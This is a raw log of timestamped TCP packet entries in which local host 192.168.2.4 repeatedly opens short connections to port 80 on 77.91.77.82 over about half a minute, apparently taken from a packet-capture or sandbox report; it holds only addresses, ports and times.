Jul 2, 2024 15:29:18.639475107 CEST	80	49945	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:19.330842018 CEST	80	49945	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:19.330974102 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:19.334462881 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:19.334899902 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:19.339616060 CEST	80	49945	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:19.339632988 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:19.339953899 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:19.339953899 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:19.340358019 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:19.346081018 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:20.088125944 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:20.088268995 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:20.210068941 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:20.210541010 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:20.215771914 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:20.215842962 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:20.216114998 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:20.218468904 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:20.218569040 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:20.221299887 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:21.015882969 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:21.016088963 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:21.019532919 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:21.019891024 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:21.024630070 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:21.024661064 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:21.024758101 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:21.024765015 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:21.025130987 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:21.029997110 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:21.922653913 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:21.922722101 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.035825968 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.036273003 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.041137934 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:22.041209936 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.041455984 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.041524887 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:22.041574001 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.046260118 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:22.882509947 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:22.882668018 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.887790918 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.887792110 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.892669916 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:22.893649101 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:22.893749952 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.893749952 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.893990993 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:22.898818016 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:23.763001919 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:23.763079882 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:23.880306959 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:23.880759954 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:23.885610104 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:23.885674000 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:23.885684967 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:23.885742903 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:23.886153936 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:23.890993118 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:24.593543053 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:24.595935106 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:24.599797964 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:24.599797964 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:24.604835033 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:24.605309963 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:24.605410099 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:24.605412006 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:24.605650902 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:24.610347986 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:25.322401047 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:25.327899933 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:25.442404032 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:25.442847967 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:25.449506998 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:25.449572086 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:25.449861050 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:25.449942112 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:25.449992895 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:25.456995964 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:26.146414995 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:26.146472931 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.150291920 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.150785923 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.155658007 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:26.155729055 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.155847073 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.155868053 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:26.155913115 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.160713911 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:26.879995108 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:26.880134106 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.987803936 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.991945028 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:26.992911100 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:26.996824026 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:26.996866941 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.000791073 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.000791073 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.006239891 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:27.705854893 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:27.705915928 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.709168911 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.709480047 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.714292049 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:27.714435101 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:27.714482069 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.714483023 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.714648962 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:27.719379902 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:28.414320946 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:28.420216084 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:28.534976006 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:28.534979105 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:28.539899111 CEST	80	49957	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:28.540132046 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:28.541110039 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:28.541157961 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:28.545922041 CEST	80	49957	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:28.545980930 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:29.235095024 CEST	80	49957	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:29.235903025 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:29.239948988 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:29.239948988 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:29.246011972 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:29.246251106 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:29.246474028 CEST	80	49957	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:29.246546984 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:29.246629000 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:29.253324032 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:29.949140072 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:29.949268103 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.066936016 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.067312002 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.073796034 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:30.073816061 CEST	80	49959	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:30.073849916 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.073888063 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.074078083 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.078846931 CEST	80	49959	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:30.782036066 CEST	80	49959	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:30.782589912 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.785514116 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.785514116 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.790350914 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:30.790482998 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.790579081 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.791112900 CEST	80	49959	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:30.791876078 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:30.795291901 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:31.479342937 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:31.479414940 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:31.597873926 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:31.598284006 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:31.603785038 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:31.603868961 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:31.604038954 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:31.604089022 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:31.604216099 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:31.609039068 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:32.319236040 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:32.319300890 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:32.322946072 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:32.323429108 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:32.328073978 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:32.328125000 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:32.328226089 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:32.328727007 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:32.329265118 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:32.334057093 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:33.028744936 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:33.036017895 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.147883892 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.147907972 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.152878046 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:33.154258013 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:33.155953884 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.155955076 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.157761097 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.163038969 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:33.854521990 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:33.854585886 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.858840942 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.859242916 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.867027044 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:33.867038965 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:33.867098093 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.867125988 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.867240906 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:33.873102903 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:34.576951981 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:34.578928947 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:34.691154003 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:34.691162109 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:34.697104931 CEST	80	49965	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:34.697356939 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:34.697370052 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:34.697612047 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:34.697699070 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:34.703231096 CEST	80	49965	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:35.417519093 CEST	80	49965	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:35.417659044 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:35.420555115 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:35.420950890 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:35.428894997 CEST	80	49966	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:35.428956985 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:35.429287910 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:35.429354906 CEST	80	49965	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:35.429400921 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:35.436017990 CEST	80	49966	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:36.144154072 CEST	80	49966	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:36.144222975 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.255081892 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.255548000 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.260431051 CEST	80	49967	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:36.260500908 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.260657072 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.260915041 CEST	80	49966	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:36.260967970 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.265456915 CEST	80	49967	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:36.988363028 CEST	80	49967	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:36.988500118 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.991216898 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.991477966 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.996229887 CEST	80	49968	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:36.996274948 CEST	80	49967	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:36.996536970 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.996551037 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:36.996742964 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:37.001563072 CEST	80	49968	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:37.696599960 CEST	80	49968	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:37.696660042 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:37.801465988 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:37.801901102 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:37.806546926 CEST	80	49968	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:37.806601048 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:37.806761980 CEST	80	49969	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:37.806824923 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:37.807003021 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:37.811744928 CEST	80	49969	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:38.496556997 CEST	80	49969	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:38.499743938 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:38.499743938 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:38.500675917 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:38.504950047 CEST	80	49969	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:38.505428076 CEST	80	49970	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:38.509946108 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:38.509946108 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:38.510065079 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:38.514832973 CEST	80	49970	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:39.220180035 CEST	80	49970	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:39.221910954 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:39.332210064 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:39.332493067 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:39.339509964 CEST	80	49971	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:39.339827061 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:39.339931011 CEST	80	49970	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:39.341799974 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:39.341909885 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:39.346714020 CEST	80	49971	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:40.047682047 CEST	80	49971	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:40.047741890 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.052167892 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.052614927 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.057547092 CEST	80	49971	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:40.057595015 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.057862997 CEST	80	49972	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:40.057929039 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.058259010 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.063863993 CEST	80	49972	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:40.787712097 CEST	80	49972	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:40.787986040 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.894262075 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.894628048 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.899486065 CEST	80	49973	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:40.899523973 CEST	80	49972	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:40.899631023 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.899703026 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.899899960 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:40.905050993 CEST	80	49973	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:41.587141037 CEST	80	49973	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:41.587208986 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:41.590797901 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:41.591173887 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:41.595959902 CEST	80	49974	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:41.596031904 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:41.596142054 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:41.596266031 CEST	80	49973	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:41.596314907 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:41.600845098 CEST	80	49974	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:42.304898977 CEST	80	49974	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:42.305017948 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:42.415273905 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:42.415724039 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:42.421026945 CEST	80	49974	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:42.421073914 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:42.421282053 CEST	80	49975	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:42.421344995 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:42.422409058 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:42.427695036 CEST	80	49975	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:43.128859043 CEST	80	49975	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:43.131994009 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.134629011 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.135190964 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.139879942 CEST	80	49975	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:43.139982939 CEST	80	49976	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:43.140038967 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.140290022 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.144207954 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.149178028 CEST	80	49976	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:43.836560011 CEST	80	49976	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:43.836668968 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.942329884 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.942853928 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.947839975 CEST	80	49976	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:43.947900057 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.947916031 CEST	80	49977	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:43.947984934 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.948250055 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:43.952991009 CEST	80	49977	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:44.652034044 CEST	80	49977	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:44.656054974 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:44.659276009 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:44.659276009 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:44.665036917 CEST	80	49978	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:44.665188074 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:44.665379047 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:44.665638924 CEST	80	49977	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:44.667979002 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:44.670228004 CEST	80	49978	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:45.366626978 CEST	80	49978	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:45.367969990 CEST	49978	80	192.168.2.4	77.91.77.82
